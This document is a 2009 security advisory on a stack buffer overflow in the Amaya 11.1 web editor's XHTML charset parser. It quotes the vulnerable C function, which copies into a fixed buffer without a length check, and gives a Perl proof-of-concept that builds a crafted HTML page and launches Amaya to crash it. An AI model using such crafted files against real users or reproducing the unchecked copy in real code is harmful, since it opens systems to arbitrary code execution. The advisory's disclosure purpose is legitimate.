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#=Amaya 11.1 XHTML Parser Buffer Overflow=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
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#=Advisory & Vulnerability Information=#=
Title: Amaya 11.1 XHTML Parser Buffer Overflow
Advisory ID: VUDO-2009-0104
Advisory URL: http://research.voodoo-labs.org/advisories/2
Date founded: 2009-03-30
Vendors contacted: N/A
Class: Buffer Overflow
Remotely Exploitable: Yes
Locally Exploitable: Yes
Exploit/PoC Available: Yes
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#=Tested & Vulnerable packages=#=
[+] Amaya 11.1
[+] Amaya 11
Non tested but possible:
[*] Amaya 10
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#=Solutions and Workarounds=#=
Amaya is planning to release a newer version (11.2 snapshot) [1]
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#=Technical Information=#=
A stack buffer overflow have been discovered in the Amaya [1] Web Editor's XHTML parser function:
ParseCharsetAndContentType(), wich can be used to compromise the victim's system via arbitrary code execution.
The overflow occurs when the application process the "charset" type from a crafted HTML page.If the charset
has a large amount of chars can lead to a stack buffer overflow and, maybe, be exploited using printable ASCII
characters. When the application was debugged, it showed that the overflow occurs in the function
"ParseCharsetAndContentType":
+++Amaya/amaya/XHTMLbuilder.c
68 void ParseCharsetAndContentType (Element el, Document doc)
69
70 {
71 AttributeType attrType;
72 Attribute attr;
73 ElementType elType;
74 CHARSET charset;
75 char *text, *text2, *ptrText, *str; XXX
76 char charsetname[MAX_LENGTH];
77 int length;
78 int pos, index = 0;
79
...
125
126 if (charset == UNDEFINED_CHARSET)
127 {
128 /* the charset is not already defined by the http header */
129 str = strstr (text2, "charset=");
130 if (str)
131 {
132 pos = str - text2 + 8;
133 while (text2[pos] != SPACE &&
134 text2[pos] != TAB && text2[pos] != EOS)
135 charsetname[index++] = text2[pos++]; XXX
136 charsetname[index] = EOS;
137 charset = TtaGetCharset (charsetname);
138 if (charset != UNDEFINED_CHARSET)
139 TtaSetDocumentCharset (doc, charset, FALSE);
140 }
141 }
142 TtaFreeMemory (text2);
143 }
144 }
145 }
146 TtaFreeMemory (text);
147 }
148 }
—Amaya/amaya/XHTMLbuilder.c
So, the application creates a buffer called "charsetname" with a length of 1024 bytes and then tries to fill
it with the charset type name, skipping the 8 bytes of "charset=", without making any type of length check.
If an HTML page has something like this it might produce the overflow:
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#=Proof of Concept=#=
The following perl script creates an HTML file that reproduces the overflow:
+++amaya_poc.pl
#!/usr/bin/perl -w
my $filename="b0f.html";
my $b0f="\x41"x1922;
my $vulnerable=qq{
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset={b0f}">
</head>
<body>
</body>
</html>
};
#debug: "gdb -q --args \"/usr/lib/Amaya/wx/bin/amaya_bin\" ./$filename"
my $exec="/usr/lib/Amaya/wx/bin/amaya_bin ./$filename";
open(HTML, "> $filename") || die "[-] Error ($!). Exiting…\n";
$vulnerable=~s|(\{b0f\})+|$b0f|g;
print HTML $vulnerable;
close(HTML);
print "[+] File $filename created.\n";
print "[+] Setting enviroment variables…\n";
$ENV{'XLIB_SKIP_ARGB_VISUALS'}=1;
$ENV{'G_SLICE'}="always-malloc";
print "[+] Executing amaya\n";
sleep(3);
exec("clear; $exec");
—amaya_poc.pl
+++console
$ perl amaya.pl
[+] File b0f.html created.
[+] Setting enviroment variables…
[+] Executing amaya
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#=Reporting Timeline=#=
[*] 30-03-2009: Bug discovered.
[*] 01-04-2009: Advisory VUDO-2009-3003 published without notifying the vendor.
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#=References=#=
[1] Amaya Project Homepage: http://www.w3.org/Amaya/
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